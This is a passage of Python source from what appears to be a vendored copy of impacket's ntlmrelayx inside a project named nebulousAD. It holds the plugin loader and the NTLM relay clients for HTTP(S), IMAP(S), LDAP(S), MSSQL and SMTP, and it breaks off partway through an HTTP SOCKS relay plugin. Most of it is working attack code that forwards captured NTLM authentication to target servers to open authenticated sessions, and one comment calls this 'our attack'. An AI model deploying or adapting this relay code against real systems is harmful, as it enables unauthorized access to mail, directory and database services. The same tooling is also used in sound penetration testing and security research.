the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 27 | class ProtocolClient: 28 | PLUGIN_NAME = 'PROTOCOL' 29 | def __init__(self, serverConfig, target, targetPort, extendedSecurity=True): 30 | self.serverConfig = serverConfig 31 | self.targetHost = target.hostname 32 | # A default target port is specified by the subclass 33 | if target.port is not None: 34 | # We override it by the one specified in the target 35 | self.targetPort = target.port 36 | else: 37 | self.targetPort = targetPort 38 | self.target = target 39 | self.extendedSecurity = extendedSecurity 40 | self.session = None 41 | self.sessionData = {} 42 | 43 | def initConnection(self): 44 | raise RuntimeError('Virtual Function') 45 | 46 | def killConnection(self): 47 | raise RuntimeError('Virtual Function') 48 | 49 | def sendNegotiate(self, negotiateMessage): 50 | # Charged of sending the type 1 NTLM Message 51 | raise RuntimeError('Virtual Function') 52 | 53 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 54 | # Charged of sending the type 3 NTLM Message to the Target 55 | raise RuntimeError('Virtual Function') 56 | 57 | def sendStandardSecurityAuth(self, sessionSetupData): 58 | # Handle the situation When FLAGS2_EXTENDED_SECURITY is not set 59 | raise RuntimeError('Virtual Function') 60 | 61 | def getSession(self): 62 | # Should return the active session for the relayed connection 63 | raise RuntimeError('Virtual Function') 64 | 65 | def getSessionData(self): 66 | # Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the 67 | # answers from the original server) 68 | return self.sessionData 69 | 70 | def getStandardSecurityChallenge(self): 71 | # Should return the Challenge returned by the server when Extended Security is not set 72 | # This should only happen with against old Servers. By default we return None 73 | return None 74 | 75 | def keepAlive(self): 76 | # Charged of keeping connection alive 77 | raise RuntimeError('Virtual Function') 78 | 79 | def isAdmin(self): 80 | # Should return whether or not the user is admin in the form of a string (e.g. "TRUE", "FALSE") 81 | # Depending on the protocol, different techniques should be used. 82 | # By default, raise exception 83 | raise RuntimeError('Virtual Function') 84 | 85 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'clients'): 86 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc': 87 | continue 88 | __import__(__package__ + '.' + os.path.splitext(file)[0]) 89 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]] 90 | try: 91 | pluginClasses = set() 92 | try: 93 | if hasattr(module,'PROTOCOL_CLIENT_CLASSES'): 94 | for pluginClass in module.PROTOCOL_CLIENT_CLASSES: 95 | pluginClasses.add(getattr(module, pluginClass)) 96 | else: 97 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS'))) 98 | except Exception, e: 99 | LOG.debug(e) 100 | pass 101 | 102 | for pluginClass in pluginClasses: 103 | LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME) 104 | PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass 105 | except Exception, e: 106 | LOG.debug(str(e)) 107 | 108 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/clients/httprelayclient.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # HTTP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # HTTP(s) client for relaying NTLMSSP authentication to webservers 15 | # 16 | import re 17 | import ssl 18 | from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady 19 | import base64 20 | 21 | from struct import unpack 22 | from nebulousAD.modimpacket import LOG 23 | from nebulousAD.modimpacket.examples.ntlmrelayx.clients import ProtocolClient 24 | from nebulousAD.modimpacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 25 | from nebulousAD.modimpacket.ntlm import NTLMAuthChallenge 26 | from nebulousAD.modimpacket.spnego import SPNEGO_NegTokenResp 27 | 28 | PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"] 29 | 30 | class HTTPRelayClient(ProtocolClient): 31 | PLUGIN_NAME = "HTTP" 32 | 33 | def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ): 34 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 35 | self.extendedSecurity = extendedSecurity 36 | self.negotiateMessage = None 37 | self.authenticateMessageBlob = None 38 | self.server = None 39 | 40 | def initConnection(self): 41 | self.session = HTTPConnection(self.targetHost,self.targetPort) 42 | self.lastresult = None 43 | if self.target.path == '': 44 | self.path = '/' 45 | else: 46 | self.path = self.target.path 47 | return True 48 | 49 | def sendNegotiate(self,negotiateMessage): 50 | #Check if server wants auth 51 | self.session.request('GET', self.path) 52 | res = self.session.getresponse() 53 | res.read() 54 | if res.status != 401: 55 | LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) 56 | try: 57 | if 'NTLM' not in res.getheader('WWW-Authenticate'): 58 | LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) 59 | return False 60 | except (KeyError, TypeError): 61 | LOG.error('No authentication requested by the server for url %s' % self.targetHost) 62 | return False 63 | 64 | #Negotiate auth 65 | negotiate = base64.b64encode(negotiateMessage) 66 | headers = {'Authorization':'NTLM %s' % negotiate} 67 | self.session.request('GET', self.path ,headers=headers) 68 | res = self.session.getresponse() 69 | res.read() 70 | try: 71 | serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) 72 | serverChallenge = base64.b64decode(serverChallengeBase64) 73 | challenge = NTLMAuthChallenge() 74 | challenge.fromString(serverChallenge) 75 | return challenge 76 | except (IndexError, KeyError, AttributeError): 77 | LOG.error('No NTLM challenge returned from server') 78 | 79 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 80 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 81 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 82 | token = respToken2['ResponseToken'] 83 | else: 84 | token = authenticateMessageBlob 85 | auth = base64.b64encode(token) 86 | headers = {'Authorization':'NTLM %s' % auth} 87 | self.session.request('GET', self.path,headers=headers) 88 | res = self.session.getresponse() 89 | if res.status == 401: 90 | return None, STATUS_ACCESS_DENIED 91 | else: 92 | LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status) 93 | #Cache this 94 | self.lastresult = res.read() 95 | return None, STATUS_SUCCESS 96 | 97 | def killConnection(self): 98 | if self.session is not None: 99 | self.session.close() 100 | self.session = None 101 | 102 | def keepAlive(self): 103 | # Do a HEAD for favicon.ico 104 | self.session.request('HEAD','/favicon.ico') 105 | self.session.getresponse() 106 | 107 | class HTTPSRelayClient(HTTPRelayClient): 108 | PLUGIN_NAME = "HTTPS" 109 | 110 | def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ): 111 | HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 112 | 113 | def initConnection(self): 114 | self.lastresult = None 115 | if self.target.path == '': 116 | self.path = '/' 117 | else: 118 | self.path = self.target.path 119 | try: 120 | uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) 121 | self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context) 122 | except AttributeError: 123 | self.session = HTTPSConnection(self.targetHost,self.targetPort) 124 | return True 125 | 126 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/clients/imaprelayclient.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # IMAP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange 15 | # 16 | import imaplib 17 | import base64 18 | from struct import unpack 19 | 20 | from nebulousAD.modimpacket import LOG 21 | from nebulousAD.modimpacket.examples.ntlmrelayx.clients import ProtocolClient 22 | from nebulousAD.modimpacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 23 | from nebulousAD.modimpacket.ntlm import NTLMAuthChallenge 24 | from nebulousAD.modimpacket.spnego import SPNEGO_NegTokenResp 25 | 26 | PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"] 27 | 28 | class IMAPRelayClient(ProtocolClient): 29 | PLUGIN_NAME = "IMAP" 30 | 31 | def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ): 32 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 33 | 34 | def initConnection(self): 35 | self.session = imaplib.IMAP4(self.targetHost,self.targetPort) 36 | self.authTag = self.session._new_tag() 37 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 38 | if 'AUTH=NTLM' not in self.session.capabilities: 39 | LOG.error('IMAP server does not support NTLM authentication!') 40 | return False 41 | return True 42 | 43 | def sendNegotiate(self,negotiateMessage): 44 | negotiate = base64.b64encode(negotiateMessage) 45 | self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) 46 | resp = self.session.readline().strip() 47 | if resp != '+': 48 | LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) 49 | return False 50 | else: 51 | self.session.send(negotiate + imaplib.CRLF) 52 | try: 53 | serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char 54 | serverChallenge = base64.b64decode(serverChallengeBase64) 55 | challenge = NTLMAuthChallenge() 56 | challenge.fromString(serverChallenge) 57 | return challenge 58 | except (IndexError, KeyError, AttributeError): 59 | LOG.error('No NTLM challenge returned from IMAP server') 60 | raise 61 | 62 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 63 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 64 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 65 | token = respToken2['ResponseToken'] 66 | else: 67 | token = authenticateMessageBlob 68 | auth = base64.b64encode(token) 69 | self.session.send(auth + imaplib.CRLF) 70 | typ, data = self.session._get_tagged_response(self.authTag) 71 | if typ == 'OK': 72 | self.session.state = 'AUTH' 73 | return None, STATUS_SUCCESS 74 | else: 75 | LOG.error('IMAP: %s' % ' '.join(data)) 76 | return None, STATUS_ACCESS_DENIED 77 | 78 | def killConnection(self): 79 | if self.session is not None: 80 | self.session.logout() 81 | self.session = None 82 | 83 | def keepAlive(self): 84 | # Send a NOOP 85 | self.session.noop() 86 | 87 | class IMAPSRelayClient(IMAPRelayClient): 88 | PLUGIN_NAME = "IMAPS" 89 | 90 | def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ): 91 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 92 | 93 | def initConnection(self): 94 | self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) 95 | self.authTag = self.session._new_tag() 96 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 97 | if 'AUTH=NTLM' not in self.session.capabilities: 98 | LOG.error('IMAP server does not support NTLM authentication!') 99 | return False 100 | return True 101 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/clients/ldaprelayclient.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # LDAP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # LDAP client for relaying NTLMSSP authentication to LDAP servers 15 | # The way of using the ldap3 library is quite hacky, but its the best 16 | # way to make the lib do things it wasn't designed to without touching 17 | # its code 18 | # 19 | import sys 20 | from struct import unpack 21 | from nebulousAD.modimpacket import LOG 22 | from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD 23 | from ldap3.operation import bind 24 | try: 25 | from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED 26 | except ImportError: 27 | LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: pip install ldap3 --upgrade") 28 | sys.exit(1) 29 | 30 | from nebulousAD.modimpacket.examples.ntlmrelayx.clients import ProtocolClient 31 | from nebulousAD.modimpacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 32 | from nebulousAD.modimpacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN 33 | from nebulousAD.modimpacket.spnego import SPNEGO_NegTokenResp 34 | 35 | PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"] 36 | 37 | class LDAPRelayClientException(Exception): 38 | pass 39 | 40 | class LDAPRelayClient(ProtocolClient): 41 | PLUGIN_NAME = "LDAP" 42 | MODIFY_ADD = MODIFY_ADD 43 | 44 | def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ): 45 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 46 | self.extendedSecurity = extendedSecurity 47 | self.negotiateMessage = None 48 | self.authenticateMessageBlob = None 49 | self.server = None 50 | 51 | def killConnection(self): 52 | if self.session is not None: 53 | self.session.socket.close() 54 | self.session = None 55 | 56 | def initConnection(self): 57 | self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) 58 | self.session = Connection(self.server, user="a", password="b", authentication=NTLM) 59 | self.session.open(False) 60 | return True 61 | 62 | def sendNegotiate(self, negotiateMessage): 63 | # Remove the message signing flag 64 | # For LDAP this is required otherwise it triggers LDAP signing 65 | 66 | # Note that this code is commented out because changing flags breaks the signature 67 | # unless the client uses a non-standard implementation of NTLM 68 | negoMessage = NTLMAuthNegotiate() 69 | negoMessage.fromString(negotiateMessage) 70 | #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN 71 | self.negotiateMessage = str(negoMessage) 72 | 73 | # Warn if the relayed target requests signing, which will break our attack 74 | if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 75 | LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)') 76 | 77 | with self.session.connection_lock: 78 | if not self.session.sasl_in_progress: 79 | self.session.sasl_in_progress = True 80 | request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') 81 | response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 82 | result = response[0] 83 | try: 84 | sicily_packages = result['server_creds'].decode('ascii').split(';') 85 | except KeyError: 86 | raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result) 87 | 88 | if 'NTLM' in sicily_packages: # NTLM available on server 89 | request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) 90 | response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 91 | result = response[0] 92 | 93 | if result['result'] == RESULT_SUCCESS: 94 | challenge = NTLMAuthChallenge() 95 | challenge.fromString(result['server_creds']) 96 | return challenge 97 | else: 98 | raise LDAPRelayClientException('Server did not offer NTLM authentication!') 99 | 100 | #This is a fake function for ldap3 which wants an NTLM client with specific methods 101 | def create_negotiate_message(self): 102 | return self.negotiateMessage 103 | 104 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 105 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 106 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 107 | token = respToken2['ResponseToken'] 108 | else: 109 | token = authenticateMessageBlob 110 | with self.session.connection_lock: 111 | self.authenticateMessageBlob = token 112 | request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) 113 | response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 114 | result = response[0] 115 | self.session.sasl_in_progress = False 116 | 117 | if result['result'] == RESULT_SUCCESS: 118 | self.session.bound = True 119 | self.session.refresh_server_info() 120 | return None, STATUS_SUCCESS 121 | else: 122 | if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS': 123 | raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )') 124 | return None, STATUS_ACCESS_DENIED 125 | 126 | #This is a fake function for ldap3 which wants an NTLM client with specific methods 127 | def create_authenticate_message(self): 128 | return self.authenticateMessageBlob 129 | 130 | #Placeholder function for ldap3 131 | def parse_challenge_message(self, message): 132 | pass 133 | 134 | class LDAPSRelayClient(LDAPRelayClient): 135 | PLUGIN_NAME = "LDAPS" 136 | MODIFY_ADD = MODIFY_ADD 137 | 138 | def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ): 139 | LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 140 | 141 | def initConnection(self): 142 | self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) 143 | self.session = Connection(self.server, user="a", password="b", authentication=NTLM) 144 | self.session.open(False) 145 | return True 146 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/clients/mssqlrelayclient.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # MSSQL (TDS) Protocol Client 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # MSSQL client for relaying NTLMSSP authentication to MSSQL servers 15 | # 16 | # ToDo: 17 | # [ ] Handle SQL Authentication 18 | # 19 | import random 20 | import string 21 | from struct import unpack 22 | 23 | from nebulousAD.modimpacket import LOG 24 | from nebulousAD.modimpacket.examples.ntlmrelayx.clients import ProtocolClient 25 | from nebulousAD.modimpacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \ 26 | TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN 27 | from nebulousAD.modimpacket.ntlm import NTLMAuthChallenge 28 | from nebulousAD.modimpacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 29 | from nebulousAD.modimpacket.spnego import SPNEGO_NegTokenResp 30 | 31 | try: 32 | import OpenSSL 33 | from OpenSSL import SSL, crypto 34 | except Exception: 35 | LOG.critical("pyOpenSSL is not installed, can't continue") 36 | 37 | PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient" 38 | 39 | class MYMSSQL(MSSQL): 40 | def __init__(self, address, port=1433, rowsPrinter=DummyPrint()): 41 | MSSQL.__init__(self,address, port, rowsPrinter) 42 | self.resp = None 43 | self.sessionData = {} 44 | 45 | def initConnection(self): 46 | self.connect() 47 | #This is copied from tds.py 48 | resp = self.preLogin() 49 | if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF: 50 | LOG.debug("Encryption required, switching to TLS") 51 | 52 | # Switching to TLS now 53 | ctx = SSL.Context(SSL.TLSv1_METHOD) 54 | ctx.set_cipher_list('RC4, AES256') 55 | tls = SSL.Connection(ctx,None) 56 | tls.set_connect_state() 57 | while True: 58 | try: 59 | tls.do_handshake() 60 | except SSL.WantReadError: 61 | data = tls.bio_read(4096) 62 | self.sendTDS(TDS_PRE_LOGIN, data,0) 63 | tds = self.recvTDS() 64 | tls.bio_write(tds['Data']) 65 | else: 66 | break 67 | 68 | # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, 69 | # Transport Layer Security(TLS), limit data fragments to 16k in size. 70 | self.packetSize = 16*1024-1 71 | self.tlsSocket = tls 72 | self.resp = resp 73 | return True 74 | 75 | def sendNegotiate(self,negotiateMessage): 76 | #Also partly copied from tds.py 77 | login = TDS_LOGIN() 78 | 79 | login['HostName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le') 80 | login['AppName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le') 81 | login['ServerName'] = self.server.encode('utf-16le') 82 | login['CltIntName'] = login['AppName'] 83 | login['ClientPID'] = random.randint(0,1024) 84 | login['PacketSize'] = self.packetSize 85 | login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON 86 | 87 | # NTLMSSP Negotiate 88 | login['SSPI'] = str(negotiateMessage) 89 | login['Length'] = len(str(login)) 90 | 91 | # Send the NTLMSSP Negotiate 92 | self.sendTDS(TDS_LOGIN7, str(login)) 93 | 94 | # According to the specs, if encryption is not required, we must encrypt just 95 | # the first Login packet :-o 96 | if self.resp['Encryption'] == TDS_ENCRYPT_OFF: 97 | self.tlsSocket = None 98 | 99 | tds = self.recvTDS() 100 | self.sessionData['NTLM_CHALLENGE'] = tds 101 | 102 | challenge = NTLMAuthChallenge() 103 | challenge.fromString(tds['Data'][3:]) 104 | #challenge.dump() 105 | 106 | return challenge 107 | 108 | def sendAuth(self,authenticateMessageBlob, serverChallenge=None): 109 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 110 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 111 | token = respToken2['ResponseToken'] 112 | else: 113 | token = authenticateMessageBlob 114 | 115 | self.sendTDS(TDS_SSPI, str(token)) 116 | tds = self.recvTDS() 117 | self.replies = self.parseReply(tds['Data']) 118 | if self.replies.has_key(TDS_LOGINACK_TOKEN): 119 | #Once we are here, there is a full connection and we can 120 | #do whatever the current user has rights to do 121 | self.sessionData['AUTH_ANSWER'] = tds 122 | return None, STATUS_SUCCESS 123 | else: 124 | self.printReplies() 125 | return None, STATUS_ACCESS_DENIED 126 | 127 | def close(self): 128 | return self.disconnect() 129 | 130 | 131 | class MSSQLRelayClient(ProtocolClient): 132 | PLUGIN_NAME = "MSSQL" 133 | 134 | def __init__(self, serverConfig, targetHost, targetPort = 1433, extendedSecurity=True ): 135 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 136 | self.extendedSecurity = extendedSecurity 137 | 138 | self.domainIp = None 139 | self.machineAccount = None 140 | self.machineHashes = None 141 | 142 | def initConnection(self): 143 | self.session = MYMSSQL(self.targetHost, self.targetPort) 144 | self.session.initConnection() 145 | return True 146 | 147 | def keepAlive(self): 148 | # Don't know yet what needs to be done for TDS 149 | pass 150 | 151 | def killConnection(self): 152 | if self.session is not None: 153 | self.session.disconnect() 154 | self.session = None 155 | 156 | def sendNegotiate(self, negotiateMessage): 157 | return self.session.sendNegotiate(negotiateMessage) 158 | 159 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 160 | self.sessionData = self.session.sessionData 161 | return self.session.sendAuth(authenticateMessageBlob, serverChallenge) 162 | 163 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/clients/smtprelayclient.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SMTP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange 15 | # 16 | import smtplib 17 | import base64 18 | from struct import unpack 19 | 20 | from nebulousAD.modimpacket import LOG 21 | from nebulousAD.modimpacket.examples.ntlmrelayx.clients import ProtocolClient 22 | from nebulousAD.modimpacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 23 | from nebulousAD.modimpacket.ntlm import NTLMAuthChallenge 24 | from nebulousAD.modimpacket.spnego import SPNEGO_NegTokenResp 25 | 26 | PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"] 27 | 28 | class SMTPRelayClient(ProtocolClient): 29 | PLUGIN_NAME = "SMTP" 30 | 31 | def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ): 32 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 33 | 34 | def initConnection(self): 35 | self.session = smtplib.SMTP(self.targetHost,self.targetPort) 36 | # Turn on to debug SMTP messages 37 | # self.session.debuglevel = 3 38 | self.session.ehlo() 39 | 40 | if 'AUTH NTLM' not in self.session.ehlo_resp: 41 | LOG.error('SMTP server does not support NTLM authentication!') 42 | return False 43 | return True 44 | 45 | def sendNegotiate(self,negotiateMessage): 46 | negotiate = base64.b64encode(negotiateMessage) 47 | self.session.putcmd('AUTH NTLM') 48 | code, resp = self.session.getreply() 49 | if code != 334: 50 | LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) 51 | return False 52 | else: 53 | self.session.putcmd(negotiate) 54 | try: 55 | code, serverChallengeBase64 = self.session.getreply() 56 | serverChallenge = base64.b64decode(serverChallengeBase64) 57 | challenge = NTLMAuthChallenge() 58 | challenge.fromString(serverChallenge) 59 | return challenge 60 | except (IndexError, KeyError, AttributeError): 61 | LOG.error('No NTLM challenge returned from SMTP server') 62 | raise 63 | 64 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 65 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 66 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 67 | token = respToken2['ResponseToken'] 68 | else: 69 | token = authenticateMessageBlob 70 | auth = base64.b64encode(token) 71 | self.session.putcmd(auth) 72 | typ, data = self.session.getreply() 73 | if typ == 235: 74 | self.session.state = 'AUTH' 75 | return None, STATUS_SUCCESS 76 | else: 77 | LOG.error('SMTP: %s' % ''.join(data)) 78 | return None, STATUS_ACCESS_DENIED 79 | 80 | def killConnection(self): 81 | if self.session is not None: 82 | self.session.close() 83 | self.session = None 84 | 85 | def keepAlive(self): 86 | # Send a NOOP 87 | self.session.noop() 88 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/servers/__init__.py: -------------------------------------------------------------------------------- 1 | from httprelayserver import HTTPRelayServer 2 | from smbrelayserver import SMBRelayServer 3 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/servers/socksplugins/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import pkg_resources 4 | 5 | SOCKS_RELAYS = set() 6 | 7 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'): 8 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc': 9 | continue 10 | 11 | __import__(__package__ + '.' + os.path.splitext(file)[0]) 12 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]] 13 | pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS')) 14 | SOCKS_RELAYS.add(pluginClass) 15 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/servers/socksplugins/http.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the HTTP Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed HTTP connections 14 | # 15 | # ToDo: 16 | # 17 | import base64 18 | 19 | from nebulousAD.modimpacket import LOG 20 | from nebulousAD.modimpacket.examples.ntlmrelayx.servers.socksserver import SocksRelay 21 | from nebulousAD.modimpacket.ntlm import NTLMAuthChallengeResponse 22 | 23 | # Besides using this base class you need to define one global variable when 24 | # writing a plugin: 25 | PLUGIN_CLASS = "HTTPSocksRelay" 26 | EOL = '\r\n' 27 | 28 | class HTTPSocksRelay(SocksRelay): 29 | PLUGIN_NAME = 'HTTP Socks Plugin' 30 | PLUGIN_SCHEME = 'HTTP' 31 | 32 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 33 | SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 34 | self.packetSize = 8192 35 | 36 | @staticmethod 37 | def getProtocolPort(): 38 | return 80 39 | 40 | def initConnection(self): 41 | pass 42 | 43 | def skipAuthentication(self): 44 | # See if the user provided authentication 45 | data = self.socksSocket.recv(self.packetSize) 46 | # Get headers from data 47 | headerDict = self.getHeaders(data) 48 | try: 49 | creds = headerDict['authorization'] 50 | if 'Basic' not in creds: 51 | raise KeyError() 52 | basicAuth = base64.b64decode(creds[6:]) 53 | self.username = basicAuth.split(':')[0].upper() 54 | if '@' in self.username: 55 | # Workaround for clients which specify users with the full FQDN 56 | # such as ruler 57 | user, domain = self.username.split('@', 1) 58 